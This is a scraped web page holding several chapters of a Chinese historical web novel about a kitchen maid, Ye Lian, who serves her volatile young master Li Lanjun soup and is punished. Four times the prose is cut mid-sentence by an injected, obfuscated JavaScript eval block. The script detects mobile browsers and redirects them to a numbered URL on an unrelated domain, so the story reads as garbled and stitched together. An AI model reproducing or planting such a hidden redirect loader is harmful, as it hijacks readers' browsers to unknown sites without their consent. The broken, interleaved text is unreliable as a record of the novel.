;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186821|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒又补上一句，“后面不买了，再好味都不买了！” 云儿这才放心地点点头。 集云大街距南园步行仅需半个时辰，两人闲话打闹期间，不知不觉便走进街头了。 眼瞧着越来越热闹，摊贩紧挨着摆摊卖物，挑扁担走卖的货郎更是五步三个、十步八个，商贩杂多，路人却更是摩肩擦踵，挤着脚后跟往前。 “云儿，我有些回不过气了……” 跟人相距如此近，她还是头一次，而且男人女人都有，叶莲难免不习惯。 她的手腕被云儿紧紧握着，二人采购得十分困难，云儿一边谨防她不被挤散，一边护着篮子中的东西，免得被扒手顺去。 云儿刚递完钱，佐料未接稳便被推搡着往前：“哎，哎！莲儿，快将我们买的东西拿住！” 叶莲忙不迭夺过商贩手里的一袋子佐料，然后被人潮往深处推去。 昏头转向地走了一段，人群稍微散去一些，她们才有空处打量被推到哪儿。 “过个节非挤着今日来逛？明日不成么？真是井底□□，没见过赶集的……” 云儿拂拂褶皱的衣裙，烦躁骂道。 叶莲知趣地给她拍背顺气，好让她憋红的脸蛋下下火。 “万幸要买都买完了，没缺没丢，这也是好事一桩呀。”叶莲清了清篮子里的物件，安慰道。 云儿见她一副温吞宽和的模样，不知该气还是该笑：“你这紧口坛子，莫被气憋死了。” 叶莲听出她嘴里打趣，赶紧接茬说：“你莫说，我方才被这么一挤，肚皮就扁了，现下正叫嚷着要吃要喝呢！” 说罢二人相视一眼，均忍不住掩面笑了起来。集云大街人千人万，两个小丫鬟清脆的笑声掩在乱市中，无人留意。 云儿笑完斥她油嘴滑舌，便领着她找食肆吃喝。 “这家招牌软羊面做得顶好，整个扬州都找不着第二家，”云儿拉着叶莲站在食肆门口，望着里面坐满的桌椅，“而且仅要十二文，比外边便宜上三文钱呢。” 伙计见她俩在店外停留，忙躬身笑着迎上来：“二位，咱百味小馆四十载老字号、上等风味、绝佳菜肴……只要您想吃，没有不会做的菜色！进来坐坐？” “我们吃面，有地儿坐吗？”云儿问。 伙计往后望了一圈，转头回她：“里面怕是没了，坐门口成不？” 老远就闻到饭菜的香气，叶莲鼻子里聚了几样菜品的味道，还能一一分辨出来是哪些材料烩制而成。 顾不上云儿纠结去留，叶莲抢先道：“成！” 云儿偏头盯着她几度欲言又止。 “坐哪啊？”她又问，唯恐被占了位置。 伙计引她们在门边的长椅坐下，面前的方桌千疮百孔，刮擦的痕迹看着比二人还年长。 “二位要点什么？”伙计笑眯眯地问。 “两碗软羊面，多放肉。”左右已经坐下了，云儿也不好再去纠结，顺而从之地开口点菜。 待伙计走后，她贴耳过去跟叶莲抱怨：“坐外头做甚，往来车马扬的灰都够我俩吃一宿了……” “怪你说得太好，我等不及尝了。”叶莲反而将罪责推到云儿身上。 “还怪上我了，小白眼狼！”云儿掐起她膀上一块肉，没舍得使劲，“还有别的馆子可以去呀，你真是一刻等不得。” 叶莲缩缩肩膀，巴巴地贴上她，挽着胳膊靠在云儿肩上哼哼唧唧。 8. 祸事 一碗浮着翠绿葱沫的软羊面摆上桌，腾腾热气散出久远香味，米白的挂面整齐躺在碗底，汤水浓郁，金黄汤油中卧着一铺羊肉，光是摆在桌上，都叫人蠢蠢欲动。 叶莲见着软羊面，如同捡了钱一般高兴，抱着碗三两下就捞吃完毕。 此时云儿才嚼着半口面，碗里一半有余，她探头去瞧叶莲的碗底，空空荡荡仿佛未把面装进去过。 再看叶莲，吃完坐在长凳上出神，手撑在两侧，腿不自觉地前后晃动，眼里空洞洞的，神魂已然飘到千里以外。 一家食肆的掌柜每日要做些什么？如何招揽更多食客？新菜品的受众多少…… 她脑里已是自己做掌柜的情形。 “哎，莲儿，你想什么呢？”云儿忽然凑近她，故意大声说。 “吃饱了就容易困……”叶莲没敢跟人说自己的这点志向，信口回了一句谎话。 云儿拿出方巾擦擦嘴角：“吃这么急，味道吃明白了？” “当然！我只是看着快，实际也细品了几番，做面师傅的手艺确实了得。” 叶莲立即回道，顺道夸一嘴店家。 “那便回去吧，天也不早了。” “好……” “下回还带你来，别丧气了。” …… 两人一前一后离开食肆，不一会儿便被吞没在人群里，逆着人流向街口走去。 几经波折终于到了南园，此时天色交织，白日半脚踏进黄昏，熏染了边缘。 街市到南园壁垒分明，叶莲甫一进门，院里如常的一片死寂，清晨归家的喜气逐渐被沉郁洗净。 留下来的人自然笑不出来，都闷声干着手上的活儿，二人压下在外头的逍遥劲，板着脸从她们身边溜过。 叶莲挎紧手中的竹篮，篮里的东西被一块灰黄色葛布遮住，鼓出一个小山丘。 她做贼心虚地快步朝厨房走，云儿亦步亦趋地跟上她的步伐。 穿过一道八角门，沿着屋前走道再拐过去……一个穿鹅黄成衣的侍女正被拖拽着过来，叶莲差点没留神撞上。 那侍女头发湿漉漉地贴在面上，发尾结成一条一条油脏的尖儿，看上去干了。 她心里有鬼，险些开嗓惊叫出声，幸亏自己及时伸手掩住，尖叫就变成一声“唔”，剩下的声儿吞进肚里没了踪影。 叶莲发觉她的脸色红得可怕，不凑近就能闻到一股茶香，衣裙下摆脏污得不成样，胸口处有一块暗黄茶渍。 看穿着是北院的人，应是被李兰钧责罚了。叶莲草草推断。 云儿见她傻站着不动，赶忙把她拉开，给那三人让出一条道。 “出事了？”云儿哑声问。 叶莲抿嘴摇摇头。 于是二人脚下都踩了油，疾步而不失分寸地向厨房靠近。 去厨房的必经之路是北院，叶莲又害怕又希望听见什么动静，以让她在心里的推断更丰满。 走到北院门口，云儿与她心有灵犀般一同慢了脚步。换做旁人早躲得远远的了，偏偏叶莲今天跟着的人是云儿：南园尚有灵气与孩童心性的另一人。 李兰钧像是不想让她们扑空似的，果真听得里边厉声呵斥道：“你们找死么，还是嫌我命不够折腾，要替天行道？” 两人就算胆大包天也不敢真的停下脚步，听完这句到了拐角处，后边的想去听也听不清白了。 “莲儿，云儿。”红儿见她们提着篮子归来，轻声招呼道。 两人走到小院里才放松下来，憋着的一口气缓缓舒出，把北院受的吓一道倾倒下来。 “少爷，少爷他……”叶莲结巴地开口。 红儿立即皱眉看着她，食指搭在嘴上做出噤声的动作。 叶莲听话的没出声，将嘴闭得牢固。 院里只剩她们三人，红儿拉着她们走到灶门边蹲下。 “今儿有个丫鬟，不知是怎么了，伺候的时候没拿稳茶水，把少爷的手烫伤了。”红儿悄声同她们通气。 叶莲和云儿相视一眼，均倒吸一口凉气。 “那她……是不是被拖出去卖给人牙子了？”叶莲颤颤巍巍道。 红儿点头，又摇头：“不止，听闻少爷给了一耳光，让她跪在外面，且只能跪在雪上，化了又得找新地儿跪。” “少爷整天都不痛快呢，北院摔东西的声儿没听见停……” “这不是火上浇油么！风寒还没见好，又来个烫伤，如今谁敢入北院的门？进去了也是两股打战！”云儿直言，万分不悦地将嘴一撇，重重哼出声。 李兰钧不知是吊着一口气还是别的，反正能打能骂定不是将死之人。 叶莲听他骂人的声量，不像是没劲的。 “不过今日跟我们厨房无关，不必紧张。” 红儿话锋一转，凝重的气氛忽然淡下去了。 叶莲用树枝戳着树叶的手一顿，随后她猛地仰起头，“为何？” “北院一早来了人，吩咐说少爷今个不在南园用晚膳，应是打算去李府……”红儿道。 云儿不等她说完，打断道：“那为何一直未启程？” “他的手伤了呀，不知还会不会走。”叶莲耐心回她的蠢问题。 厨房没有一点柴火的余温，灶门肚里剩下烧去半截的小堆干柴，锅被洗刷得锃亮。 往日家厨从不缺席备膳，就算再多告假也会留一个在厨房看守，以备李兰钧各种要求。 “李伯他们全都回去了？”叶莲隐约感觉不妙。 “嗯，守到午膳后一个时辰，见那边没动静便赶着回家了，”红儿答道，末了又补了一句，“吃顿饭就回来，所以入夜以前由我们仨看着。” “只要北院不来人，一切都无事。” 叶莲只盼她这一身衰运不要及时显灵。 “莫怕，他们都有批假，理应回去的。”红儿见她牙关咬紧，明显的不自在，遂伸手摸摸她的头顶。 “往常逢年过节的，李伯他们走前会早早备好菜，再放锅里热着，这回是少爷吩咐，所以没准备。”云儿也宽慰道。 檐外收了暮色，浓重的蓝黑天遮盖住晚霞，雪水未化干净，还有点滴落地声。 厨房后的菜园青白一片，滴水落在菜叶上有脆亮的响声，须得仔细聆听才能听见，叶莲被这雪水打菜叶的声响一点，方想起更为重要的事。 “我买了冬笋和冬菇，待会儿烧菜给你们吃，”叶莲说罢，站起身往灶台上的竹篮边走，“趁今日有机会用厨房，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186822|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们仨提前一日过冬至呀！” 她揭开葛布，从里边拿出三个圆粗的冬笋，又捧出一小堆头顶裂口的冬菇。 云儿和红儿没作多想，赶紧贴过来帮忙。 “莲儿，原来你买这些是为了过节啊！”云儿端来一个小巧老旧的木盆，接过她手里的菜。 “是也不是，本想着买来看何时有空给你们做汤，没成想今日便凑巧用上了。” 叶莲选了一口较其它铁锅小些的锅，拿起盖在上面的浅褐木锅盖立在墙边，随后便去水缸中取水洗锅。 红儿见二人皆开始忙活，便坐在灶门拾地上的柴，聚成一堆后点燃火折子，预备着起火。 “那我就只看火了，洗菜摘菜交给云儿，其余你放手去做。”红儿将燃得正旺的火绒丢进灶里，笑着说。 “好勒！” 叶莲倒水入锅洗刷，用锅刷熟练地涮洗几下，再拿瓢舀起泼到门边水沟处。 三人在厨房忙活一通，叶莲的三鲜汤终于是开始第一道工序了。她挖一勺猪油放入，烧热后将切好的笋块和胡萝卜、莴苣一齐倾入，翻炒均匀后加入清水，盖上锅盖焖煮约一刻钟，又放进余下的菌干丝、冬菇。 还须再炖三刻，三人便搬了矮凳坐在锅前等着，从锅盖边缘溢出的蒸气腾腾而升，香味早在翻炒时散出，焖煮期间更是清香馥郁。 叶莲的肚子适时咕噜噜叫了起来，她赶紧捂住肚子，面上臊热。 “在外头吃这么多，还饿？”红儿听见了，无奈地笑着道，“再等等吧，饭甑里还有饭，就着汤吃正正好。” 云儿道：“吃一口温汤饭，夜里睡觉都是暖的！” “原本今日只能吃粳米煮的粥，托莲儿的福，才可吃上这样的好味。”红儿对上叶莲光华的双眸，在她夸赞后更是亮晶晶地闪着，“云儿，你不谢谢她？” 云儿嬉笑着趴在叶莲身上，抱着她的肩头念道：“哎呀，谢谢莲儿~咱们小莲儿手艺了得，日后谁娶了都是福气！” “不知哪个俗男人会有这么好的福气呀！” 叶莲嗔怒着去捉云儿搔来搔去的手，笑骂她不知羞。 打闹间，一行人紧着脚步进了厨房，领头的是上回找事不成的周嬷嬷。 “你们掌勺的厨子呢！”她方进院里，便厉声问道。 叶莲三人被突然造访的人吓了一跳，忙收起笑颜起身。 气氛骤然降到谷底，叶莲福过灾生，身上那挥不去的倒霉劲又造作起来。 按李兰钧古怪莫测的性子，怕是又生了事端，早晚不见生事，偏偏在这个时候…… 叶莲觉着后槽牙都要紧张得咬碎了。 “回嬷嬷，都告假回家了。”红儿左右躲不过，硬着头皮回。 周嬷嬷本就铁青的面色更是可怕起来，她一张肥肉横生的凶恶相，此刻立在黑夜里，活像地府索命的鬼魂：“谁给他们的胆子！他们擅离职守，你们三个小蹄子帮着瞒过，都不想活了是吧？” 叶莲被喝得一哆嗦，垂着头说不出话。 红儿将她两人护在身后，向前一步解释道：“他们出去是递了信的，上面也给了批假，嬷嬷……” 不等她说完，周嬷嬷横空一巴掌劈下，生硬地断了她的后话。 9. 出头 红儿被她打得重心不稳，一下跌在泥地里，颊上一瞬便涨红充血，留下一个清晰可见的掌印。 管事不在，这攀高踩低的周嬷嬷便没有了顾虑，将卑劣本性原原本本暴露出来。 见红儿被打，叶莲顾不上礼数，半跪在地上将她搀扶起来。红儿一身泥污，跌跌跄跄地勉强支起身子，头发散乱红着眼咬唇不语。 “嬷嬷这是做什么？好话不听，平白打人，莫非看我们管事不在，你就觉着可以随意欺辱了！” 云儿气极而论，梗着脖子怒斥她。 周嬷嬷听完将身一摆，冷哼道：“哼，你们是不知道自己惹了怎样的祸事！莫说是一巴掌，就算现在拉你出去打死都不为过！” “我是不要紧，少爷明着说了要用晚膳，你们若拿不出来……等着收拾收拾滚出南园吧！” 此话一出，云儿便慌了神，张着嘴结巴道：“不是、不是……少爷不是吩咐不用晚膳吗？怎么又……” “怎么？你还敢编排主子了？少爷就算三更要用膳，也得整整齐齐地摆到他跟前！” 周嬷嬷见云儿失语，头更是昂得高高，用鼻子同她说话。 三人哑然立在门前，桃树上落下几片叶儿，不偏不倚黏在红儿泥泞的裙摆上，她们孤零零地缩在一块，周遭空荡回响着像哭像嚎的风声。 面前众人仿佛真成了鬼怪。 “你们这些个下贱胚子，取巧不成，反倒要连累我……连累整个北院！”周嬷嬷咒骂不止，话里也有对李兰钧的恐惧。 叶莲动了动被泥糊住的手指，刺骨的冷意冲上头顶：周嬷嬷算不得什么，真正可怕的是李兰钧。 可此刻破局之法是什么…… “我非得给你们个教训！”周嬷嬷说罢，示意一旁侍女上前。 四名侍女依言将云儿、红儿相继按住，双手反扣在身后，最后往膝窝处一踹，二人脱力跪在地上。 收拾完她们，有两名脱手向叶莲走来，叶莲僵直着，嘴唇颤抖得不成样子。 办法，办法，挽救的办法……她嘴里嗫嚅着，眼神四处搜寻。 就在此时，锅里的三鲜汤咕咕响着顶开锅盖，锅盖拍在灶上一下又一下，热腾腾的白烟弥漫开来，扑鼻的香气袭入她鼻间。 汤炖好了，汤炖好了！ 千钧一发之际，她猛地挣开一旁侍女的束缚，急声呼道：“嬷嬷，我们有东西可送！” 周嬷嬷自然也听见了厨房里的动静，面对李兰钧，大伙都是一条绳上的蚂蚱，她不得不叫停，听叶莲开口。 “里边那是什么？”她问。 “汤、三鲜汤……”叶莲喘息粗气，生怕周嬷嬷变主意，率先开口出策，“嬷嬷可端着去交差，虽只有一道，但总比空手回去要好！” “少爷的脾性您再清楚不过，即便他对这汤不满意，您也可推说是厨房的问题，届时责罚下来也是罪在厨房，跟北院……并无干系。” 一语毕，周嬷嬷沉默下来，左思右想并无其他法子，可叶莲的说法也不是全无风险…… “这么做你们毫无好处，你为了什么？” 她谨慎开口，语气已无方才气焰。 叶莲略一思索，最终抬起头直视她，下定决心般言明—— “我想赌一把。” 院里人对她的话万分不解，她一个厨房的丫鬟，身无一物，拿什么赌？ 周嬷嬷替她们问了出来。 “赌？”周嬷嬷上下扫视她，“你拿什么赌？” 叶莲无可奈何地苦笑：“拿我自己。” “这汤是我做的，怪罪下来也是我的错处，厨房无须帮我担待多少，全由我一人承担……” 跪在地上的云儿红儿闻言，不可置信地回头看向她，云儿咬着牙扯了扯她的衣角，摇头不让她说下去。 “你倒是忠肝义胆……”周嬷嬷冷笑，话里话外的讥讽，“行了，去装汤吧。” “是。” 叶莲颔首。 她扶起跪在地上的二人，又洗净手去取了陶瓷汤壶，锅里的汤开了几道，红儿拖着腿去减柴，翻腾的汤水便平静下来。 盛有食盐汤勺在锅里搅动均匀，然后叶莲慢慢舀起一勺鲜香爽口的三鲜汤，又撇去汤渣再添了几勺。 “莲儿，你做什么傻事！”云儿拿来食案，在一旁飞快的低语。 叶莲闷声不语，只是给她和红儿留了个无可奈何的眼神。 她不敢怠慢，盖好汤壶，立即端到周嬷嬷跟前站定。 红儿和云儿无计可施，走到门槛边紧盯着她。 “好了？那便一块走吧。”周嬷嬷不欲多言，示意旁人端过食案，率北院的几个侍女先行离开。 她这是防着李兰钧当场降罪，迁怒于自己身上，如果叶莲在场侍奉，那罪责便只在叶莲，与其余若干人无关。 叶莲咬咬牙，紧接着跟在她们后面。 夜里寂寥无声，即使南园点了灯，也因园中下人不敢高声言语，灯影绰绰，渐渐有了置身地府黄泉的毛骨悚然。 叶莲低头看着地板，拉长的影子黑洞洞的，有如孤魂野鬼。 她怕是半只脚踏进鬼门关，离成孤魂野鬼越来越近了。 北院灯火通明，比起路上昏黄的死气，院里稍微有些人气，因为她方进门就见有人在院里低声抽泣。 木板子落在肉身上的声音传入耳中，每打一下便有几声颤抖的抽泣，女子恐惧到极致的吸气声又湿又粘，仿佛一块未见光明的苔藓丛。 叶莲心里起毛，加紧了脚步跟进她们。 院里无人出声，就连一贯聒噪的周嬷嬷也屏了声气，一声不吭地走在最前。 走过转转回回几道折路，叶莲摸清了这是往寝居去，那夜她顶着大雪从那儿出来，走的也是同一路线。 寝居里外围了不少人，守着炭盆的丫鬟便有十几个，进了内室人更是多得有些拥挤。 周嬷嬷转头看她跟在末尾，遣散除了端汤那位侍女身边的另外三人，带上叶莲放心地走进内室里。 从屏风间隙处看进去，李兰钧正靠在床头，着一身月白色长衫，面容憔悴清瘦，眉宇之间带着愠色。 叶莲跟在周嬷嬷身后，来到床旁。 汤药味几乎快掩盖住他素来喜爱的暖香，带着丝丝沉郁的苦涩，李兰钧掀起眼皮看向周嬷嬷，见她身后只端着一壶汤水，隐隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186823|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些怒意。 “少爷，家厨今日皆告假回家，便只备了这一道三鲜汤……”周嬷嬷觑着他的脸色，小心翼翼地开口。 李兰钧不屑给她一个眼神，冷冷看向敷药的手上，没被草药掩盖之处露出不正常的薄红。 他不应声，周嬷嬷也不敢轻举妄动，三人立在他跟前如芒在背。 “还活着有气的，就盛汤给我。”李兰钧或许没了精神闹腾，在看着丫鬟给他扇风止疼片刻，才漠然道。 周嬷嬷得了指示，忙招手让侍女摆汤，叶莲不敢独自站着引人注目，也跟着蹲下来取碗筷勺碟。 许是饿了良久，汤从罐里倾倒出来时，李兰钧喉头不动声色地滚了滚。 他的视线终于落在面前的小几处，那乳白的汤汁上浮起几缕菌丝，无任何汤渣杂质，看着勉强能吃。 李兰钧挑剔地想，又见一葱白小手捏着汤勺在碗里轻轻搅和，他往上看去——那日被他赶走的小丫鬟抿着唇，细致地盯着手上的动作。 他忆起那夜她说的话，不由失笑。 叶莲觉察他的视线，忍着发抖的劲儿装作不知埋头干活，盛好汤放好碗筷后，她才松了口气恭谨地退到小几一边。 李兰钧瞟了她几眼，叶莲却垂目没接到暗示，直到周嬷嬷看不下去地捅她一下，她才如梦初醒地抬起头。 “去，快去。”周嬷嬷同她低语。 叶莲被她用劲一捅，后腰蔓延开来一股酸痛。 她吃痛地抬眼，终于撞上李兰钧的目光。 李兰钧也不觉气恼，仰仰头示意她端着汤到跟前。 还未等她害怕，身子就乖巧地走到几案前端起了汤，惧意上来时她已走到李兰钧的床前。 “下去。” 李兰钧将扇风的侍女遣开，给叶莲腾出位置。 叶莲便接替那人的位置，端着碗半蹲下去，调整好姿势后直起身开始轻轻吹汤。 她面上紧绷着，心里头已经乱成了一锅粥，连思考的能力都丧失殆尽。 那双手死命攥着瓷勺，一点点靠近李兰钧的嘴边，最后挨在那片薄唇上。 她的存亡安危，全都托付在这一口汤上，偏偏李兰钧素来刁钻，若他不喜…… 李兰钧轻启薄唇，将勺里的汤喝了个干净。 叶莲一愣，抬眼去瞧他神色，他面上并未有多余表情，喝了汤也神色如常。 她又颤颤巍巍地去舀第二勺，吹温递到李兰钧嘴边，如此反复，一碗三鲜汤见了底。 “汤料也一块盛来。”李兰钧难得被挑起些食欲，吩咐她道。 叶莲见他喝得津津有味，悬着的心放下肚，没了方才的僵硬。 盛了一碗汤料和汤，她舀起一块笋送至李兰钧嘴边。 李兰钧乖顺得反常，衔起笋块一点点吃进嘴里，而后一口吞掉，放在口中慢慢嚼咽。 他腮边鼓起一块，圆滚滚地撑开削瘦脸颊，平日里恶劣的模样现下却愈发清脱，生出一股可爱之气。 叶莲看着李兰钧的斯文吃相，忽然有种奶孩子的错觉，“孩子”好好吃饭的样子让她倍感欣慰。 “你看我作甚？”李兰钧垂眸与她对视。 10. 喂汤 叶莲一时悚然：她竟觉得李兰钧可爱？ 她赶紧把这一想法驱逐出脑海。 见她不答话，身边人捏了一把汗。 直到身后周嬷嬷“嘶”地一声倒吸一口冷气，叶莲才回过神来。 同样的错误不能犯第二次，她脑袋里飞快盘算起来，“奴婢……奴婢见少爷有胃口用膳，一时替您高兴忘了礼数……” 说着便要跪下来认错，李兰钧听她拙劣的狡辩，出声止住她的动作：“跪什么？汤还没喂完呢。” 叶莲赶忙回归原位，给他喂去一口清汤。 “这种蠢话你也有嘴说，我都替你臊得慌。”李兰钧喝完咂咂嘴，淡淡地驳斥她。 被点名的叶莲顶着一张红扑扑的脸，埋着脑袋挖起一只冬菇，“奴婢知错。” 李兰钧不搭理她，仿佛吃饱了有了力气使唤人，叶莲勺里的冬菇临递到嘴边又开始犯娇贵病。 只见他纡尊降贵地瞥了一眼那顶着土棕冠帽的冬菇，吐出四字：“太丑，不吃。” 冬菇委屈地躺在勺里，有苦说不出。 叶莲只得将冬菇放回碗中，从汤里挑出一小块翠绿的莴苣，还没送到跟前，李兰钧便偏过头用下颌看人。 一望而知，叶莲迅疾地撤回手，舀了一勺漂着菌丝的汤水。 叶莲支起手臂送到他嘴边，腿上因着半跪的姿势逐渐麻木，她勉强撑着不让身体左右摇晃。 李兰钧转头悠悠品着汤，半晌才见勺底干净。 这会儿时辰对叶莲则是煎熬，伺候好李兰钧谈何容易，稍不留神就要被拖出去生死难料了。 好在李兰钧喝完这一口，就赦免似的说道：“撤下去吧。” 叶莲得了他的金口玉言，忙颔首站起身，如释重负地准备收拾食案打道回府。 “你就穿这身来？” 未等她高兴多久，李兰钧这个喜好无端生事的主子又开了金口。 叶莲不明所以：她的衣服是统一发放的，李兰钧不知在揪她的什么错处。 总不能是衣着简陋吧。叶莲一边想一边往身上看去，这一看便不得了了——她裙上不知怎的沾上了碗口大的泥水污渍！ 还有大大小小的赃污之处，泥巴、地灰，和一片死死扒着她裙角的枯叶。 她倏地看向始作俑者，周嬷嬷也想起什么似的陡然一激灵，惶恐地与她对视。 “这是……”叶莲组织着措辞。 她看周嬷嬷脸上出现哀求的神色，就差跪下来求她叫她不要说出。 叶莲咬唇思量片刻，斟酌着开口，“是奴婢在菜园摘菜时没留意弄上的——” “穿成这样侍奉，是奴婢粗心大意的错，请少爷责罚！” 她转身跪伏在地上，闭着眼等待发落。 周嬷嬷是李府带来的老人，即使有千错万错，也不会像处置她这个下等丫鬟一样发卖出府，现在得罪她，届时她记恨下来反倒得不偿失。 何况若她想颠倒黑白，李兰钧是会听信叶莲这个没见过几面的小丫鬟的一面之词，还是相信有众人为证的周嬷嬷…… 叶莲这次不敢赌了。 越是说多越是错多，不如就这么认了。 不论打板子还是卖给人牙子，总比纠缠一圈到头来还是罪在她头上，惹李兰钧烦躁被套麻袋打死好，总归是活着的。 只要命还在一切都有回转的余地。 “我有说要罚你么？” 李兰钧不知他在她眼里是何模样，他都还没摔些什么以示怒意，这个小丫鬟就急着让他处罚。 他没有自知之明地想：难不成我是个天生的臭脸吗？ 这样想着，便不由自主去摸摸自己的嘴角，看是不是向下撇的。 叶莲看不见他的神色，也无法从话语里辨别喜怒来，她咽了咽唾沫，检讨道：“少爷不罚，奴婢也该自罚自检……” “好啊，那去外面跪着去。” 李兰钧忽然没了逗人的乐趣，摆摆手让她退下领罚。 叶莲可算是得到明示，深深舒了一口气，安心地退下去受罚。 没有皮肉之苦，也不用收拾包袱滚出去，在外边跪着简直是天大的恩赐。 她知足地接受，疾步走出内室，又从廊前踱下踏道，在天寒地冻中正对着寝居跪下。 李兰钧见她喜上眉梢的模样，不明白有何可喜的，想再看看她跪在何处，却被屏风挡住视线，怎么都瞧不见人。 “这么笨重一个屏风，立在这跟棺材似的，你们是在咒我吗？” 李兰钧刚和气一会儿，马上便忍不住了，“明日再让我见到它，你们就统统去庄子上种地！” 他阴晴不定的行为已然是惯例，仆从们从不细想缘由，只一味地下跪听命。 叶莲跪在道上听内室的动静，心中感叹李兰钧咒自己是一把好手。 她跪在这儿还算舒坦，不用挑雪地里跪，也感受得到炭盆的暖和，不全是瑟瑟夜风，除了膝盖抵着地板发寒，其余都无大碍。 不知跪了多久，她把屋顶瓦片都数了十道，看着来往的汤药不断，腿脚几乎没有知觉了，里面才走出一个侍女，对她道：“少爷要歇息了，叫你回去。” “是。” 叶莲应下，待侍女遣进几个守炭丫鬟，又关上门，陆续开了几扇窗户，她才慢慢站起来在原地捶捶腿。 把腿脚捶出疼意，僵硬的四肢舒展了，叶莲拖着不住发抖的腿，一步步摸索着走回厨房。 沿着过道走走停停，拐了几道弯，踩了几条石子路，走到厨房门口时，劫后余生的庆幸终于涌上心头，让她差点落下泪。 厨房里灭了灯，一片黑茫茫的，叶莲在门边歇了半天后摸黑走进院子里，院里除了地上那滩干涸的泥迹，仿佛从未发生过乱事。 她吸吸鼻子，整了整不成样子的冬装，拐过墙角往下人房走去。 “莲儿？”墙边一黑影突然开口说话。 叶莲止住脚步，另一道黑影蹿出来将她搂了个满怀，“呜呜呜，你回来了……” 那名为云儿的黑影摸到她身上的暖意，霎时哭出声。 “我以为你死了，我以为你再也不会回来了！” 云儿哭得上气不接下气。 一边的立着的黑影也慢慢与她们拥在一团，悄无声息地落泪，若不是泪珠落进叶莲颈间，她都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186824|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没留意到红儿也哭了。 “你怎么这么傻，上赶着找死……”红儿哭着斥她，哭腔快淹没说话声。 “大家都以为你死了……我和红儿不肯信，便想坐在这儿等你一夜，幸好你回来了，幸好你没死……” 云儿哭起来话变得愈发密，反复说着几句“幸好”，又断续叨着叶莲走后她们如何如何的事，没一句说在重点上，像是梦中胡言。 叶莲靠在她肩头，眨几下眼睛几颗豆大的眼泪掉下来，打湿云儿肩背那块布料。 三人哀哀戚戚好半晌，直到外边挑灯的小厮一盏盏挑灭油灯，檐墙外透着的昏黄从远及近被黑蒙慢慢渗透，这才左右扶着叶莲借月色沿墙回房。 将她放置于长凳上，红儿摸索着点了油灯，整个暗室就靠桌上这盏小灯勉强照亮，除了桌子附近其余地方几乎看不见。 她点了灯后蹲在叶莲身前，掀起衣角和裤腿查看伤势。 叶莲不自在地缩了缩，被她一把抓紧：“别动了，让姐姐看看伤。” 闻言，叶莲乖巧地伸出一双腿，用鼻间哼出一个鼻音浓重的“嗯”。 云儿进门后不知在何处翻箱倒柜，满室只听见她自言自语地嘀咕和翻找声。 借着灯光，红儿这才瞧见叶莲腿上的伤，整双腿从膝盖处蔓延出青紫斑块，还有被冻伤的红肿痕迹，伶仃一双细腿由膝盖至小腿肚生生肿大了一圈。 偏偏叶莲一声不吭，仿若无事一般。 “你这腿……你、你从北院独自回来，这怎么受得住的？”红儿看着伤处惊成结巴。 叶莲稍微动了动腿，一股酸胀劲儿迅速袭卷而来，她咬着舌头忍住疼，安抚地笑笑：“路上倒不疼，跪着的时候也没什么感觉，这会儿坐下才渐渐感到胀。” “你这张嘴，从来只说好话。”红儿不理会她的诡辩，皱着眉仔细看伤，“我那还有药油，不知效果如何……若不成就去问门房那儿买些好的伤药回来。” “腿上这些伤，还得好好养养，不然要落下病根了。” 叶莲一味地点头答应，不敢多言。 “找沈嬷嬷要些红花粉呀！我看她身上成日散着那味，一定有多余的。” 云儿搂着一套冬装过来，放下两瓶土陶药瓶，她“唉”地一声坐下，肩膀紧挨着叶莲的。 “哪有上门找人家讨的，你净说这招嫌的话！”红儿仰头斥她，伸手拿起一瓶药。 药油顺着瓶口流出，红儿接了一小捧，放下药瓶慢慢用掌心揉热，敷上叶莲膝盖时，还发着暖。 云儿不以为意，“怎么不成了？都是一个院的家人长辈——何况嬷嬷平日也是个好说话的！” “我还是自个买去吧，越是这样越不能去找她。”红儿无奈，说完便专心给叶莲上药。 